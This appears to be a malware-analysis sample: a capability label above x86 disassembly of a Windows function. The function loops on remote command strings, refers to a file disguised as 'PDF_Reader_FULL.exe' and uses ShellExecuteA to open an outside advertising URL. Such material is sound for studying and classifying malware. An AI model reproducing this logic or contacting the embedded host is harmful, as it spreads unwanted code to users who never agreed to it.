Function at 0x402504
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov dword [esp], str.Start_the_CMD_init_..._n
call sub.msvcrt.dll_printf
mov dword [esp], 0x309
call sub.msvcrt.dll__sleep
mov dword [esp + 4], str.ashcv
mov dword [esp], 0x40dd10
call fcn.00406090
test eax, eax
jne 0x402554
mov dword [esp + 4], str.COM7
mov dword [esp], 0x40dd10
call fcn.00406090
test eax, eax
jne 0x402554
jmp 0x4025c6
mov eax, dword [0x40c018]
cmp eax, dword [0x4083e0]
jl 0x40256f
cmp dword [0x408484], 0
jns 0x40256f
call fcn.00403c5c
mov eax, dword [0x40c018]
cmp eax, dword [0x4083e4]
jl 0x40258a
cmp dword [0x408484], 0
jns 0x40258a
call fcn.00403981
mov eax, dword [0x4083e0]
add eax, 0xd
cmp eax, dword [0x40c018]
jg 0x4025a8
cmp dword [0x408484], 1
jne 0x4025a8
call fcn.00403c5c
mov eax, dword [0x4083e4]
add eax, 0xd
cmp eax, dword [0x40c018]
jg 0x4025c6
cmp dword [0x408484], 1
jne 0x4025c6
call fcn.00403981
fldz
fstp qword [ebp - 8]
fld qword [ebp - 8]
fld1
faddp st(1)
fstp qword [ebp - 8]
fld qword [0x40a350]
fstp qword [esp + 8]
fld qword [ebp - 8]
fstp qword [esp]
call fcn.00404476
test eax, eax
jne 0x402659
mov dword [esp + 4], str.ashcv
mov dword [esp], 0x40dd10
call fcn.00406090
test eax, eax
je 0x402648
mov dword [esp], 0x53f290
call fcn.00404852
test eax, eax
jne 0x402659
mov dword [esp], 0x309
call sub.msvcrt.dll__sleep
mov dword [esp], 0x53f290
call fcn.00402f94
mov dword [esp], 0x309
call sub.msvcrt.dll__sleep
mov dword [esp], 0x53f290
call fcn.00402be0
jmp 0x402659
mov dword [esp], 0x309
call sub.msvcrt.dll__sleep
call fcn.00402ca2
fld qword [0x40a358]
fstp qword [esp + 8]
fld qword [ebp - 8]
fstp qword [esp]
call fcn.00404476
test eax, eax
jne 0x4026cc
cmp dword [0x40c018], 0
jle 0x402690
cmp dword [0x408484], 0
jns 0x402690
mov dword [esp], str.PDF_Reader_FULL.exe
call fcn.0040368b
cmp dword [0x40c018], 5
jle 0x4026ae
cmp dword [0x408484], 1
jne 0x4026ae
mov dword [esp], str.PDF_Reader_FULL.exe
call fcn.0040368b
cmp dword [0x40c018], 0
jns 0x4026cc
cmp dword [0x408484], 0
jns 0x4026cc
mov dword [esp], str.PDF_Reader_FULL.exe
call fcn.0040368b
fld qword [0x40a360]
fstp qword [esp + 8]
fld qword [ebp - 8]
fstp qword [esp]
call fcn.00404476
test eax, eax
jne 0x40270d
mov dword [esp], 0x40d900
call fcn.00404852
test eax, eax
jne 0x40270d
mov dword [esp], 0x309
call sub.msvcrt.dll__sleep
mov dword [esp], 0x40d900
call fcn.00402f94
fld qword [0x40a368]
fstp qword [esp + 8]
fld qword [ebp - 8]
fstp qword [esp]
call fcn.00404476
test eax, eax
jne 0x4027c8
mov dword [esp + 4], str.ashcv
mov dword [esp], 0x40dd10
call fcn.00406090
test eax, eax
je 0x4027c8
mov dword [esp], 0x53f290
call fcn.00404852
test eax, eax
jne 0x402788
mov dword [esp], 0x309
call sub.msvcrt.dll__sleep
mov dword [esp], 0x53f290
call fcn.00402f94
mov dword [esp], 0x309
call sub.msvcrt.dll__sleep
mov dword [esp], 0x53f290
call fcn.00402be0
jmp 0x4027c8
mov dword [esp], 0x53f290
call fcn.00402c78
test eax, eax
jne 0x4027c8
mov dword [esp], 0x309
call sub.msvcrt.dll__sleep
mov dword [esp], 0x53f290
call fcn.00402f94
mov dword [esp], 0x309
call sub.msvcrt.dll__sleep
mov dword [esp], 0x53f290
call fcn.00402be0
fld qword [0x40a370]
fstp qword [esp + 8]
fld qword [ebp - 8]
fstp qword [esp]
call fcn.00404476
test eax, eax
jne 0x4027f6
cmp dword [0x40c018], 0
jns 0x4027f6
mov dword [esp], str.PDF_Reader_FULL.exe
call fcn.0040368b
fld qword [0x40a378]
fstp qword [esp + 8]
fld qword [ebp - 8]
fstp qword [esp]
call fcn.00404476
test eax, eax
jne 0x402897
mov dword [esp + 4], str.COM7
mov dword [esp], 0x40dd10
call fcn.00406090
test eax, eax
je 0x40286e
mov dword [esp], 0x309
call sub.msvcrt.dll__sleep
mov dword [esp + 0x14], 1
mov dword [esp + 0x10], 0x40a347
mov dword [esp + 0xc], 0x40a135
mov dword [esp + 8], str.http:__www.ibayme.eb2a.com_ad.php
mov dword [esp + 4], str.Open
mov dword [esp], 0
call sub.SHELL32.DLL_ShellExecuteA
sub esp, 0x18
mov dword [esp + 4], str.ashcv
mov dword [esp], 0x40dd10
call fcn.00406090
test eax, eax
je 0x402897
mov dword [esp], 0x309
call sub.msvcrt.dll__sleep
call fcn.00402b09
fld qword [ebp - 8]
fld qword [0x40a380]
fxch st(1)
fucompp
fnstsw ax
sahf
jp 0x4028ab
je 0x4028ad
jmp 0x4028c1
fldz
fstp qword [ebp - 8]
call fcn.0040298d
mov dword [0x40c018], eax
call fcn.00402b09
cmp dword [0x40c018], 0
jne 0x4028de
cmp dword [0x40c018], 0
jg 0x4028de
cmp dword [0x40c018], 0
js 0x4028de
jmp 0x402907
mov dword [esp + 4], str.COM7
mov dword [esp], 0x40dd10
call fcn.00406090
test eax, eax
je 0x402907
mov dword [esp], 0x309
call sub.msvcrt.dll__sleep
call fcn.004032a9
mov dword [esp + 4], str.ashcv
mov dword [esp], 0x40dd10
call fcn.00406090
test eax, eax
jne 0x40293c
mov dword [esp + 4], str.COM7
mov dword [esp], 0x40dd10
call fcn.00406090
test eax, eax
jne 0x40293c
call fcn.00406ac2
call sub.msvcrt.dll_rand
mov ecx, eax
mov eax, 0x83340521
imul ecx
lea eax, [ecx + edx]
mov edx, eax
sar edx, 9
mov eax, ecx
sar eax, 0x1f
sub edx, eax
mov eax, edx
imul eax, eax, 0x3e7
sub ecx, eax
mov eax, ecx
add eax, 0x3e7
mov dword [esp], eax
call sub.msvcrt.dll__sleep
jmp 0x4025cb